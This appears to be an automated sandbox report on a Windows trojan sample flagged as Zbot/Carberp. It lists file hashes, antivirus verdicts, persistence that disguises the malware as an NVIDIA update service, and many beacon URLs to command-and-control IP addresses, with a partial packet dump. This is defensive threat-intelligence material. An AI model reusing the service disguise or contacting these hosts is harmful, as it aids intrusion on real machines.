Analysis Date2015-06-15 17:56:02
MD5a34eb3fc29e25c6231b144623e2bc72b
SHA185c345d9c4856a285802f95bc55351e44c2ba9af

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: e80992014f71a8d74a073aae70d08af5 sha1: aae7a06dabaaea701fd3ee7e60caca9231586191 size: 24064
Section.rdata md5: c9f64a3006462e830a22bdd4740678e5 sha1: f826180bec15822759dbe35685cab921f2dfda70 size: 5120
Section.data md5: a81e24eb26c207ab205634c089d49bbd sha1: ea171d3fd65bfe4a3f7323478f4eece0e2fb874f size: 1024
Section.ndata md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
Section.rsrc md5: 37540c2be0d7df484fddda2165e0c745 sha1: bbd5dbd18fa4467b459397f0eadc8182a82f352d size: 2048
Timestamp2009-12-05 22:50:58
PackerNullsoft PiMP Stub -> SFX
PEhasheb64fe3de9f130800ec84cce98afa640bad1f6ac
IMPhash099c0646ea7282d232219f8807883be0
AVTrend MicroTSPY_ZBOT.SMYA
AVFortinetW32/Injector.BHSP!tr
AVF-Secureno_virus
AVArcabit (arcavir)Gen:Trojan.Zboter.3
AVPadvishno_virus
AVK7Trojan ( 004a022b1 )
AVCAT (quickheal)Trojan.Inject.r5
AVTwisterno_virus
AVZillya!no_virus
AVIkarusTrojan.Win32.Inject
AVEset (nod32)Win32/Injector.BKBF
AVMicrosoft Security EssentialsTrojanDownloader:Win32/Carberp
AVRisingno_virus
AVCA (E-Trust Ino)no_virus
AVBullGuardGen:Trojan.Zboter.3
AVKasperskyTrojan.Win32.Inject.olrb
AVAuthentiumW32/A-893e159b!Eldorado
AVFrisk (f-prot)no_virus
AVMcafeeGeneric-FAUV!575705F6C930
AVGrisoft (avg)Downloader.Generic13.CNRG
AVVirusBlokAda (vba32)no_virus
AVAvira (antivir)no_virus
AVBitDefenderGen:Trojan.Zboter.3
AVEmsisoftGen:Trojan.Zboter.3
AVDr. WebTrojan.DownLoader13.9589
AVMicroWorld (escan)Gen:Trojan.Zboter.3[ZP]
AVAd-AwareGen:Trojan.Zboter.3
AVMalwareBytesSpyware.Zbot.ED
AVSymantecTrojan.Gen
AVAlwil (avast)Dropper-NZN [Drp]:Evo-gen [Susp]
AVClamAVno_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsp3.tmp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsv4.tmp\System.dll
Creates FileC:\Program Files\NVIDIA Corporation\Update Center\nvdupdate.exe
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsf2.tmp
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsv4.tmp\System.dll
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\nsv4.tmp
Creates ServiceNVIDIA Update Server - C:\Program Files\NVIDIA Corporation\Update Center\nvdupdate.exe /svc

Process
↳ C:\Program Files\NVIDIA Corporation\Update Center\nvdupdate.exe

RegistryHKEY_CURRENT_USER\SOFTWARE\NVIDIA Corporation\Global\nvUpdSrv\value ➝
20140810\\x00
Creates File\Device\Afd\Endpoint
Creates MutexGlobal\MD7H82HHF7EH2D73

Process
↳ C:\Program Files\NVIDIA Corporation\Update Center\nvdupdate.exe

Creates ProcessC:\Program Files\NVIDIA Corporation\Update Center\nvdupdate.exe

Process
↳ Pid 800

Process
↳ Pid 848

Process
↳ C:\WINDOWS\System32\svchost.exe

Creates FileC:\WINDOWS\Prefetch\monitor.exe-1949D260.pf
Creates FileC:\WINDOWS\Prefetch\READER_SL.EXE-3614FA6E.pf
Creates FileC:\WINDOWS\Prefetch\NVDUPDATE.EXE-387D9E29.pf
Creates FileC:\WINDOWS\Prefetch\svchost.EXE-0C867EC1.pf

Process
↳ Pid 1108

Process
↳ Pid 1204

Process
↳ Pid 1316

Process
↳ Pid 1868

Process
↳ Pid 976

Network Details:

HTTP GEThttp://144.212.130.17:11263/stat?uid=100&downlink=1111&uplink=1111&id=0015799E&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://66.223.62.4:16660/stat?uid=100&downlink=1111&uplink=1111&id=00158DF1&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://77.78.104.154:51633/stat?uid=100&downlink=1111&uplink=1111&id=0015A199&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://195.12.48.190:61307/stat?uid=100&downlink=1111&uplink=1111&id=0015B540&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://96.127.138.34:16193/stat?uid=100&downlink=1111&uplink=1111&id=0015C8E7&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://176.28.50.147:58264/stat?uid=100&downlink=1111&uplink=1111&id=0015DCAE&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://178.79.165.113:30007/stat?uid=100&downlink=1111&uplink=1111&id=0015F074&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://176.28.50.147:58264/stat?uid=100&downlink=1111&uplink=1111&id=0016043B&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://188.165.233.189:36427/stat?uid=100&downlink=1111&uplink=1111&id=001617F1&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://178.79.165.113:30007/stat?uid=100&downlink=1111&uplink=1111&id=00162BC8&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://188.165.186.236:22512/stat?uid=100&downlink=1111&uplink=1111&id=00163F7E&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://223.202.33.211:11197/stat?uid=100&downlink=1111&uplink=1111&id=00165345&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://91.189.102.29:32872/stat?uid=100&downlink=1111&uplink=1111&id=001666FC&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://94.182.146.68:33300/stat?uid=100&downlink=1111&uplink=1111&id=00167AB3&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://192.71.151.14:60541/stat?uid=100&downlink=1111&uplink=1111&id=00168E5A&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://70.38.101.66:11410/stat?uid=100&downlink=1111&uplink=1111&id=0016A201&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://50.17.185.81:32353/stat?uid=100&downlink=1111&uplink=1111&id=0016B5A8&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://213.132.45.225:47791/stat?uid=100&downlink=1111&uplink=1111&id=0016C950&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://217.197.115.196:21196/stat?uid=100&downlink=1111&uplink=1111&id=0016DCF7&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://144.212.130.17:11263/stat?uid=100&downlink=1111&uplink=1111&id=0016F0AE&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://65.201.27.43:28731/stat?uid=100&downlink=1111&uplink=1111&id=00170465&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://178.79.165.113:30007/stat?uid=100&downlink=1111&uplink=1111&id=0017181C&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://71.245.120.18:39394/stat?uid=100&downlink=1111&uplink=1111&id=00172BE2&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://128.199.198.182:32136/stat?uid=100&downlink=1111&uplink=1111&id=00173F99&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://80.91.80.158:31643/stat?uid=100&downlink=1111&uplink=1111&id=0017535F&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://199.173.225.5:35979/stat?uid=100&downlink=1111&uplink=1111&id=00176736&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://195.62.29.219:10925/stat?uid=100&downlink=1111&uplink=1111&id=00177AFC&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://176.28.50.147:58264/stat?uid=100&downlink=1111&uplink=1111&id=00178EA3&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://96.127.138.34:16193/stat?uid=100&downlink=1111&uplink=1111&id=0017A289&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://193.33.175.20:18625/stat?uid=100&downlink=1111&uplink=1111&id=0017B66F&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://212.53.89.138:31174/stat?uid=100&downlink=1111&uplink=1111&id=0017CA35&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://213.132.45.225:47791/stat?uid=100&downlink=1111&uplink=1111&id=0017DDFC&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://178.79.165.113:30007/stat?uid=100&downlink=1111&uplink=1111&id=0017F1C2&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://66.223.62.4:16660/stat?uid=100&downlink=1111&uplink=1111&id=00180589&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://217.28.192.36:37228/stat?uid=100&downlink=1111&uplink=1111&id=00181940&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://194.27.180.16:33097/stat?uid=100&downlink=1111&uplink=1111&id=00182D06&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://178.151.195.163:44937/stat?uid=100&downlink=1111&uplink=1111&id=001840DC&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://107.170.145.242:22740/stat?uid=100&downlink=1111&uplink=1111&id=001854A3&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://96.127.138.34:16193/stat?uid=100&downlink=1111&uplink=1111&id=00186879&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://80.68.240.170:25338/stat?uid=100&downlink=1111&uplink=1111&id=00187C3F&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://198.7.58.68:23480/stat?uid=100&downlink=1111&uplink=1111&id=00189025&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://178.60.205.159:41023/stat?uid=100&downlink=1111&uplink=1111&id=0018A40B&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://195.62.29.219:10925/stat?uid=100&downlink=1111&uplink=1111&id=0018B7F1&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://216.35.160.138:43782/stat?uid=100&downlink=1111&uplink=1111&id=0018CBD6&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://103.248.82.43:51515/stat?uid=100&downlink=1111&uplink=1111&id=0018DFCC&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://192.71.151.14:60541/stat?uid=100&downlink=1111&uplink=1111&id=0018F3A2&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://107.170.145.242:22740/stat?uid=100&downlink=1111&uplink=1111&id=00190788&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://46.165.233.149:35173/stat?uid=100&downlink=1111&uplink=1111&id=00191BAC&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://65.201.27.43:28731/stat?uid=100&downlink=1111&uplink=1111&id=00192F92&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://176.34.23.57:33111/stat?uid=100&downlink=1111&uplink=1111&id=00194358&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://213.171.195.48:13664/stat?uid=100&downlink=1111&uplink=1111&id=0019571F&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://162.243.133.164:53109/stat?uid=100&downlink=1111&uplink=1111&id=00196AD6&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://213.132.45.225:47791/stat?uid=100&downlink=1111&uplink=1111&id=00197EAC&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://178.79.165.113:30007/stat?uid=100&downlink=1111&uplink=1111&id=00199291&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://173.194.113.145:15871/stat?uid=100&downlink=1111&uplink=1111&id=0019A658&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://178.79.155.234:15590/stat?uid=100&downlink=1111&uplink=1111&id=0019BA2E&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://216.35.160.138:43782/stat?uid=100&downlink=1111&uplink=1111&id=0019CE04&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://213.146.173.215:60098/stat?uid=100&downlink=1111&uplink=1111&id=0019E1BB&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://107.170.145.242:22740/stat?uid=100&downlink=1111&uplink=1111&id=0019F582&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://5.77.49.215:49878/stat?uid=100&downlink=1111&uplink=1111&id=001A0929&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://80.68.240.170:25338/stat?uid=100&downlink=1111&uplink=1111&id=001A1CD0&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://188.165.233.189:36427/stat?uid=100&downlink=1111&uplink=1111&id=001A3077&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://84.200.5.171:12825/stat?uid=100&downlink=1111&uplink=1111&id=001A442E&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://216.35.160.138:43782/stat?uid=100&downlink=1111&uplink=1111&id=001A57E5&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://65.201.27.43:28731/stat?uid=100&downlink=1111&uplink=1111&id=001A6B9C&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://195.154.179.119:64167/stat?uid=100&downlink=1111&uplink=1111&id=001A7F53&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://146.255.96.17:16107/stat?uid=100&downlink=1111&uplink=1111&id=001A9329&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://195.154.179.119:64167/stat?uid=100&downlink=1111&uplink=1111&id=001AA6FF&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://168.166.73.170:27174/stat?uid=100&downlink=1111&uplink=1111&id=001ABAB6&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://176.58.116.234:35621/stat?uid=100&downlink=1111&uplink=1111&id=001ACE6D&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://63.251.156.211:24291/stat?uid=100&downlink=1111&uplink=1111&id=001AE214&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://223.165.30.17:36991/stat?uid=100&downlink=1111&uplink=1111&id=001AF5AC&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://213.132.45.225:47791/stat?uid=100&downlink=1111&uplink=1111&id=001B0953&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
HTTP GEThttp://213.171.195.48:13664/stat?uid=100&downlink=1111&uplink=1111&id=001B1CFA&statpass=bpass&version=20140810&features=30&guid=f8993a86-985c-4a7f-acf4-d1d4aed41f59&comment=20140810&p=0&s=
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 144.212.130.17:11263
Flows TCP192.168.1.1:1031 ➝ 144.212.130.17:11263
Flows TCP192.168.1.1:1032 ➝ 66.223.62.4:16660
Flows TCP192.168.1.1:1033 ➝ 77.78.104.154:51633
Flows TCP192.168.1.1:1034 ➝ 195.12.48.190:61307
Flows TCP192.168.1.1:1035 ➝ 96.127.138.34:16193
Flows TCP192.168.1.1:1036 ➝ 176.28.50.147:58264
Flows TCP192.168.1.1:1037 ➝ 178.79.165.113:30007
Flows TCP192.168.1.1:1038 ➝ 176.28.50.147:58264
Flows TCP192.168.1.1:1039 ➝ 188.165.233.189:36427
Flows TCP192.168.1.1:1040 ➝ 178.79.165.113:30007
Flows TCP192.168.1.1:1041 ➝ 188.165.186.236:22512
Flows TCP192.168.1.1:1042 ➝ 223.202.33.211:11197
Flows TCP192.168.1.1:1043 ➝ 91.189.102.29:32872
Flows TCP192.168.1.1:1044 ➝ 94.182.146.68:33300
Flows TCP192.168.1.1:1045 ➝ 192.71.151.14:60541
Flows TCP192.168.1.1:1046 ➝ 70.38.101.66:11410
Flows TCP192.168.1.1:1047 ➝ 50.17.185.81:32353
Flows TCP192.168.1.1:1048 ➝ 213.132.45.225:47791
Flows TCP192.168.1.1:1049 ➝ 217.197.115.196:21196
Flows TCP192.168.1.1:1050 ➝ 144.212.130.17:11263
Flows TCP192.168.1.1:1051 ➝ 65.201.27.43:28731
Flows TCP192.168.1.1:1052 ➝ 178.79.165.113:30007
Flows TCP192.168.1.1:1053 ➝ 71.245.120.18:39394
Flows TCP192.168.1.1:1054 ➝ 128.199.198.182:32136
Flows TCP192.168.1.1:1055 ➝ 80.91.80.158:31643
Flows TCP192.168.1.1:1056 ➝ 199.173.225.5:35979
Flows TCP192.168.1.1:1057 ➝ 195.62.29.219:10925
Flows TCP192.168.1.1:1058 ➝ 176.28.50.147:58264
Flows TCP192.168.1.1:1059 ➝ 96.127.138.34:16193
Flows TCP192.168.1.1:1060 ➝ 193.33.175.20:18625
Flows TCP192.168.1.1:1061 ➝ 212.53.89.138:31174
Flows TCP192.168.1.1:1062 ➝ 213.132.45.225:47791
Flows TCP192.168.1.1:1063 ➝ 178.79.165.113:30007
Flows TCP192.168.1.1:1064 ➝ 66.223.62.4:16660
Flows TCP192.168.1.1:1065 ➝ 217.28.192.36:37228
Flows TCP192.168.1.1:1066 ➝ 194.27.180.16:33097
Flows TCP192.168.1.1:1067 ➝ 178.151.195.163:44937
Flows TCP192.168.1.1:1068 ➝ 107.170.145.242:22740
Flows TCP192.168.1.1:1069 ➝ 96.127.138.34:16193
Flows TCP192.168.1.1:1070 ➝ 80.68.240.170:25338
Flows TCP192.168.1.1:1071 ➝ 198.7.58.68:23480
Flows TCP192.168.1.1:1072 ➝ 178.60.205.159:41023
Flows TCP192.168.1.1:1073 ➝ 195.62.29.219:10925
Flows TCP192.168.1.1:1074 ➝ 216.35.160.138:43782
Flows TCP192.168.1.1:1075 ➝ 103.248.82.43:51515
Flows TCP192.168.1.1:1076 ➝ 192.71.151.14:60541
Flows TCP192.168.1.1:1077 ➝ 107.170.145.242:22740
Flows TCP192.168.1.1:1078 ➝ 46.165.233.149:35173
Flows TCP192.168.1.1:1079 ➝ 65.201.27.43:28731
Flows TCP192.168.1.1:1080 ➝ 176.34.23.57:33111
Flows TCP192.168.1.1:1081 ➝ 213.171.195.48:13664
Flows TCP192.168.1.1:1082 ➝ 162.243.133.164:53109
Flows TCP192.168.1.1:1083 ➝ 213.132.45.225:47791
Flows TCP192.168.1.1:1084 ➝ 178.79.165.113:30007
Flows TCP192.168.1.1:1085 ➝ 173.194.113.145:15871
Flows TCP192.168.1.1:1086 ➝ 178.79.155.234:15590
Flows TCP192.168.1.1:1087 ➝ 216.35.160.138:43782
Flows TCP192.168.1.1:1088 ➝ 213.146.173.215:60098
Flows TCP192.168.1.1:1089 ➝ 107.170.145.242:22740
Flows TCP192.168.1.1:1090 ➝ 5.77.49.215:49878
Flows TCP192.168.1.1:1091 ➝ 80.68.240.170:25338
Flows TCP192.168.1.1:1092 ➝ 188.165.233.189:36427
Flows TCP192.168.1.1:1093 ➝ 84.200.5.171:12825
Flows TCP192.168.1.1:1094 ➝ 216.35.160.138:43782
Flows TCP192.168.1.1:1095 ➝ 65.201.27.43:28731
Flows TCP192.168.1.1:1096 ➝ 195.154.179.119:64167
Flows TCP192.168.1.1:1097 ➝ 146.255.96.17:16107
Flows TCP192.168.1.1:1098 ➝ 195.154.179.119:64167
Flows TCP192.168.1.1:1099 ➝ 168.166.73.170:27174
Flows TCP192.168.1.1:1100 ➝ 176.58.116.234:35621
Flows TCP192.168.1.1:1101 ➝ 63.251.156.211:24291
Flows TCP192.168.1.1:1102 ➝ 223.165.30.17:36991
Flows TCP192.168.1.1:1103 ➝ 213.132.45.225:47791
Flows TCP192.168.1.1:1104 ➝ 213.171.195.48:13664

Raw Pcap
0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313537 39394526 73746174 70617373   015799E&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313538 44463126 73746174 70617373   0158DF1&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30313541 31393926 73746174 70617373   015A199&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38313026 66656174 75726573   0140810&features
0x00000060 (00096)   3d333026 67756964 3d663839 39336138   =30&guid=f8993a8
0x00000070 (00112)   362d3938 35632d34 6137662d 61636634   6-985c-4a7f-acf4
0x00000080 (00128)   2d643164 34616564 34316635 3926636f   -d1d4aed41f59&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 31302670   mment=20140810&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
